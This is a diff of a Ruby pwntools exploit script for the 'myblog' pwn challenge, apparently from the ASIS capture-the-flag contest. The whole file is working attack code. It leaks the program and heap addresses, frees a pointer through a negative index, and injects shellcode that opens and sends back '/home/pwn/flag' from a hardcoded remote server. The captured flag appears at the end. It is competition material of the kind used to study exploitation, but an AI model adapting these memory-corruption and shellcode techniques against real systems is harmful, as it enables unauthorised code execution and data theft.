|
| 1 | +#!/usr/bin/env ruby |
| 2 | +# encoding: ascii-8bit |
| 3 | +require 'pry' |
| 4 | +require 'pwn' # https://github.com/peter50216/pwntools-ruby |
| 5 | +require 'heapinfo' # https://github.com/david942j/heapinfo |
| 6 | +require 'one_gadget' # https://github.com/david942j/one_gadget |
| 7 | + |
| 8 | +# @magic = one_gadget(file: './libc.so.6')[0] |
| 9 | + |
| 10 | +host, port = '159.65.125.233', 31337 |
| 11 | +@local = false |
| 12 | +if ARGV.empty? |
| 13 | + host = '127.0.0.1'; @local = true |
| 14 | +else |
| 15 | + raise ArgumentError, 'host not set' if host.empty? |
| 16 | +end |
| 17 | +$z = Sock.new host, port |
| 18 | +def z;$z;end |
| 19 | +@p = 'myblog' |
| 20 | +def h;@h ||= heapinfo(@p);end |
| 21 | +def elf; @elf ||= ELF.new(@p); end |
| 22 | +#================= Exploit Start ==================== |
| 23 | +context.arch = 'amd64' |
| 24 | +# context.log_level = :debug |
| 25 | + |
| 26 | +# The mmap-ed address |
| 27 | +rand_buf = `./rnd`.to_i |
| 28 | +log.dump rand_buf.hex |
| 29 | + |
| 30 | +def cmd(id) |
| 31 | + z.gets "Exit\n" |
| 32 | + z.write id.to_s.ljust(16, "\x00") |
| 33 | +end |
| 34 | + |
| 35 | +def create(content = 'A' * 47, author = 'B' * 7) |
| 36 | + cmd(1) |
| 37 | + z.gets "Input"; z.write content |
| 38 | + z.gets "Input"; z.write author |
| 39 | +end |
| 40 | + |
| 41 | +def fast_create(content = 'A' * 47, author = 'B' * 7) |
| 42 | + z.write 1.to_s.ljust(16, "\x00") |
| 43 | + z.write content |
| 44 | + z.write author |
| 45 | +end |
| 46 | + |
| 47 | +0x41.times { fast_create } |
| 48 | +0x41.times { z.gets "Exit" } |
| 49 | + |
| 50 | +def change(t) |
| 51 | + cmd(3) |
| 52 | + z.gets 'Owner : ' |
| 53 | + z.write t.ljust(7, "\x00") |
| 54 | +end |
| 55 | + |
| 56 | +def free(id) |
| 57 | + cmd(2) |
| 58 | + z.gets 'index' |
| 59 | + z.puts id |
| 60 | +end |
| 61 | + |
| 62 | +cmd(31337) |
| 63 | +z.gets '0x' |
| 64 | +z.puts 'A' # do nothing |
| 65 | +elf_base = z.gets.to_i(16) - 0xef4 |
| 66 | +h.offset(elf_base) |
| 67 | +change(p64(elf_base + 0x202040)[0, 6]) |
| 68 | + |
| 69 | +free(-1) # free rand_buf |
| 70 | +create('A' * 8 + p64(rand_buf + 8)) |
| 71 | +# leak heap |
| 72 | +cmd(3) |
| 73 | +z.gets 'Old Owner : ' |
| 74 | +heap = (z.recvn(6) + "\x00\x00").u64 - 0x260 |
| 75 | + |
| 76 | +# 7-byte read(0, 'rbp', 'rdx') shellcode! |
| 77 | +z.write asm("xchg eax, ebx; xor edi, edi; push rbp; pop rsi; syscall") |
| 78 | +h.offset(heap) |
| 79 | + |
| 80 | +cmd(31337) |
| 81 | +z.gets '0x' |
| 82 | +z.write 'A' * 8 + (rand_buf + 0xf).p64 + p64(rand_buf + 8) |
| 83 | + |
| 84 | +z.write asm( |
| 85 | + shellcraft.pushstr('/home/pwn/flag') + |
| 86 | + shellcraft.syscall('SYS_openat', -100, 'rsp', 0, 0) + |
| 87 | + shellcraft.syscall('SYS_sendfile', 1, 'rax', 0, 2147483647) + |
| 88 | + shellcraft.exit(0) |
| 89 | +) |
| 90 | + |
| 91 | +z.interact |
| 92 | + |
| 93 | +# ubuntu 17.10 |
| 94 | +# ASIS{526eb5559eea12d1e965fe497b4abb0a308f2086} |
0 commit comments